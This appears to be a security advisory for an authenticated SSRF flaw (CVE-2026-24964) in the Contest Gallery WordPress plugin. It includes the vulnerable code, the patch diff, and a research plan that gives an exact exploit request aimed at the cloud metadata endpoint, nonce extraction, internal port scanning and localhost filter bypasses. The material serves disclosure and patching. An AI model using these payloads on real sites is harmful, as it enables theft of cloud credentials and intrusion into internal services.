Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe <= 28.1.2.1 - Authenticated (Subscriber+) Server-Side Request Forgery
Description
The Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 28.1.2.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=28.1.2.1What Changed in the Fix
Changes introduced in v28.1.2.2
Source Code
WordPress.org SVN# Research Plan: CVE-2026-24964 Contest Gallery SSRF ## Vulnerability Summary The **Contest Gallery** plugin (up to 28.1.2.1) is vulnerable to **Server-Side Request Forgery (SSRF)** via the `post_cg_add_openai_image` AJAX action. The vulnerability exists in the `post_cg_add_openai_image` function w…
Show full research plan
Research Plan: CVE-2026-24964 Contest Gallery SSRF
Vulnerability Summary
The Contest Gallery plugin (up to 28.1.2.1) is vulnerable to Server-Side Request Forgery (SSRF) via the post_cg_add_openai_image AJAX action. The vulnerability exists in the post_cg_add_openai_image function within functions/backend/ajax/openai/post-cg-add-openai-image.php. While the plugin attempts SSRF protection using a function called cg1l_is_safe_remote_url, this check is either insufficient or bypassable, allowing authenticated users to make arbitrary web requests. The content of the requested URL is then downloaded and saved to the WordPress uploads directory, allowing attackers to exfiltrate internal data or metadata.
Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
post_cg_add_openai_image - Vulnerable Parameter:
cg_openai_image_url - Required Role: The code explicitly checks for
administrator,editor, orauthor. However, the CVE description identifies Subscriber+ access. This discrepancy suggests that either:- A Subscriber can be granted these capabilities via plugin settings (e.g., frontend upload permissions).
- The role check is bypassed in specific configurations.
- The "Contest Gallery User" role (mentioned in
readme.txt) is treated as a higher-level role.
- Preconditions:
- The plugin must be active.
- A valid nonce for the AJAX action must be obtained.
- At least one Gallery must exist (to provide a valid
cgGalleryID).
Code Flow
- Entry Point: The AJAX action
wp_ajax_post_cg_add_openai_imagetriggers the functionpost_cg_add_openai_image. - Nonce Check:
cg_check_nonce()is called (defined elsewhere, likely validating thenonceparameter). - Capability Check: The function checks if the user has
administrator,editor, orauthorroles. - Input Acquisition: The URL is retrieved from
$_POST['cg_openai_image_url']. - SSRF Sink:
- If the URL is not a data URI, it passes through
cg1l_is_safe_remote_url($imageUrl). - If it passes (or if the check is bypassed), it reaches the
elseblock:
$ch = curl_init($imageUrl); $fp = fopen($fullPath, 'wb'); // ... curl options set ... curl_exec($ch); - If the URL is not a data URI, it passes through
- File Creation: The result of the
curl_execis written to$fullPath, which is located inwp-content/uploads/YYYY/MM/.
Nonce Acquisition Strategy
The plugin localizes its admin scripts into an object named cgJsClassAdmin.
- Identify Script Context: The OpenAI functionality is used in the "Edit Gallery" area or image editing sections.
- Setup: Create a standard gallery to ensure the scripts are loaded.
- Extraction:
- Use
wp post createto ensure a gallery or relevant page exists. - Navigate to the WordPress dashboard as an authenticated user.
- Use
browser_evalto find the nonce. Based on the code inpost-cg-add-openai-image.php, the nonce is checked viacg_check_nonce(). - In Contest Gallery, nonces are often found in the
cg_ajax_objector thecgJsClassAdminobject. - Command:
browser_eval("cgJsClassAdmin.nonce")or searching forwp_localize_scriptin the full source to find the exact key.
- Use
Exploitation Strategy
- Login: Authenticate as an Author (or Subscriber if permissions allow).
- Gallery ID: Obtain a valid Gallery ID using
wp cg-gallery list(if available) or by creating one:wp post create --post_type=cg_gallery --post_title="Exploit Gallery". - Trigger SSRF: Send a POST request to
admin-ajax.php.- URL:
http://localhost/wp-admin/admin-ajax.php - Method:
POST - Payload:
action=post_cg_add_openai_image &cg_openai_image_url=http://169.254.169.254/latest/meta-data/ (AWS Metadata) &cg_openai_image_name=ssrf_test &cgGalleryID=1 &nonce=[NONCE]
- URL:
- Retrieve Results:
- The file will be saved as
wp-content/uploads/[YEAR]/[MONTH]/ssrf_test.png. - Note: The plugin appends
.pngautomatically inpost-cg-add-openai-image.php. - Use
http_requestto GET the file and inspect its contents (which should contain the internal data).
- The file will be saved as
Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=author --user_pass=password - Gallery Creation:
The plugin uses a custom table for galleries. Create a dummy gallery to get an ID.wp eval "global \$wpdb; \$wpdb->insert(\$wpdb->prefix . 'contest_gal1ery_galleries', ['title' => 'Test Gallery']);"(Check actual table name inindex.php). - Identify Upload Path: Use
wp eval "echo wp_upload_dir()['url'];"to know where to look for the result.
Expected Results
- The AJAX request should return a successful status (or a JS snippet updating
cgJsClassAdmin). - A new file
ssrf_test.pngshould appear in the current month's upload directory. - The content of
ssrf_test.pngshould match the output of the internal service targeted (e.g., AWS metadata or local service HTML).
Verification Steps
- File Check:
ls -l wp-content/uploads/$(date +%Y/%m)/ssrf_test.png - Content Check:
cat wp-content/uploads/$(date +%Y/%m)/ssrf_test.png - Log Check: Check if
curlwas used to hit the internal IP in the server logs.
Alternative Approaches
- Internal Port Scanning: Iterate
cg_openai_image_urlthroughhttp://localhost:[PORT]and observe timing or file creation. - Bypassing
cg1l_is_safe_remote_url: If127.0.0.1is blocked, try:http://0.0.0.0http://[::1]http://2130706433(Decimal representation of 127.0.0.1)- Using a DNS entry that points to 127.0.0.1 (e.g.,
local.gd).
- Data URI Bypass: The code has a specific check for
data:image/. Ensure the payload is not inadvertently caught in that block. - Role Verification: If the Author role works, repeat the process with a Subscriber role to confirm the "Subscriber+" claim in the CVE. If it fails, check if the "Contest Gallery User" role has different behavior.
Summary
The Contest Gallery plugin for WordPress is vulnerable to Server-Side Request Forgery (SSRF) via its OpenAI image integration. Authenticated attackers can use the 'post_cg_add_openai_image' AJAX action to make the server fetch arbitrary URLs, which are then saved to the public uploads directory, allowing for internal port scanning or exfiltration of sensitive metadata (like AWS/GCP instance data).
Vulnerable Code
// functions/backend/ajax/openai/post-cg-add-openai-image.php if (empty($imageUrl) || !cg1l_is_safe_remote_url($imageUrl)) { // ... error handling ... } else { // Initialize cURL session $ch = curl_init($imageUrl); $fp = fopen($fullPath, 'wb'); $default_socket_timeout = (int)(ini_get('default_socket_timeout')); $max_execution_time = (int)(ini_get('max_execution_time')); curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, ($default_socket_timeout - 1)); curl_setopt($ch, CURLOPT_TIMEOUT, ($max_execution_time - 1)); curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); fclose($fp); // ... (truncated)
Security Fix
@@ -139,7 +140,8 @@ imagepng($formImage,$fullPath); }else{ // Initialize cURL session - $ch = curl_init($imageUrl); + /*$ch = curl_init($imageUrl); + $fp = fopen($fullPath, 'wb'); $default_socket_timeout = (int)(ini_get('default_socket_timeout')); @@ -179,8 +181,62 @@ //]); $cgAddOpenAiImageErrorMessage = 'Failed to download image: ' . ($error ?: 'HTTP code ' . $httpCode); $cgAddOpenAiImageIsValid = false; + }*/ + + // Timeouts berechnen (wie in deinem Original) + // Calculate timeouts based on server settings + $default_socket_timeout = (int)(ini_get('default_socket_timeout')); + $max_execution_time = (int)(ini_get('max_execution_time')); + $ct = $default_socket_timeout > 2 ? ($default_socket_timeout - 1) : 10; + $to = $max_execution_time > 2 ? ($max_execution_time - 1) : 20; + + // Path security: Prevent Directory Traversal attacks + if (empty($fullPath) || strpos($fullPath, '..') !== false) { + $cgAddOpenAiImageErrorMessage = 'Security Error: Invalid file path.'; + $cgAddOpenAiImageIsValid = false; + } else { + // wp_safe_remote_get replaces cURL and provides native SSRF protection as requested by Patchstack + // if dynamic url from unknown source, then better to use wp_safe_remote_get + $response = wp_safe_remote_get($imageUrl, [ + 'timeout' => $to, // WordPress uses a single combined timeout + 'redirection' => 0, // Equivalent to CURLOPT_FOLLOWLOCATION => false (SSRF Hardening) + 'sslverify' => true // Equivalent to CURLOPT_SSL_VERIFYPEER + ]); + + if (is_wp_error($response)) { + $cgAddOpenAiImageErrorMessage = 'Failed to download image: ' . $response->get_error_message(); + $cgAddOpenAiImageIsValid = false; + } else { + $httpCode = wp_remote_retrieve_response_code($response); + $image_data = wp_remote_retrieve_body($response); + + if ($httpCode !== 200 || empty($image_data)) { + $cgAddOpenAiImageErrorMessage = 'Failed to download image: HTTP code ' . $httpCode; + $cgAddOpenAiImageIsValid = false; + } else { + // Content Validation: Verify the actual file content (MIME-Type) + $is_valid_image = false; + + if (class_exists('finfo')) { + $finfo = new finfo(FILEINFO_MIME_TYPE); + $mime_type = $finfo->buffer($image_data); + $is_valid_image = in_array($mime_type, ['image/png', 'image/jpeg', 'image/jpg', 'image/webp']); + } else { + // Fallback: Use getimagesizefromstring if finfo extension is missing + $image_info = getimagesizefromstring($image_data); + $is_valid_image = ($image_info !== false); } + if (!$is_valid_image) { + $cgAddOpenAiImageErrorMessage = 'Invalid file type. Only PNG, JPG, and WEBP are allowed.'; + $cgAddOpenAiImageIsValid = false; + } else { + // Securely save the validated data to the disk + file_put_contents($fullPath, $image_data); + } + } + } + } }
Exploit Outline
1. Authenticate to the WordPress site (defaults to Author role, though Subscriber might be possible depending on plugin configurations). 2. Obtain a valid AJAX nonce, typically found in the `cgJsClassAdmin` or `cg_ajax_object` JavaScript variables localized on admin pages like the Gallery editor. 3. Send a POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `post_cg_add_openai_image` - `cg_openai_image_url`: The target internal URL (e.g., `http://169.254.169.254/latest/meta-data/` or a local service). - `cg_openai_image_name`: A chosen filename (e.g., `ssrf_result`). - `cgGalleryID`: A valid ID for an existing gallery. - `nonce`: The acquired security nonce. 4. The plugin will fetch the target URL and save it to the current month's upload directory (e.g., `wp-content/uploads/2025/01/ssrf_result.png`). 5. Access the created file via its URL to view the exfiltrated content.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.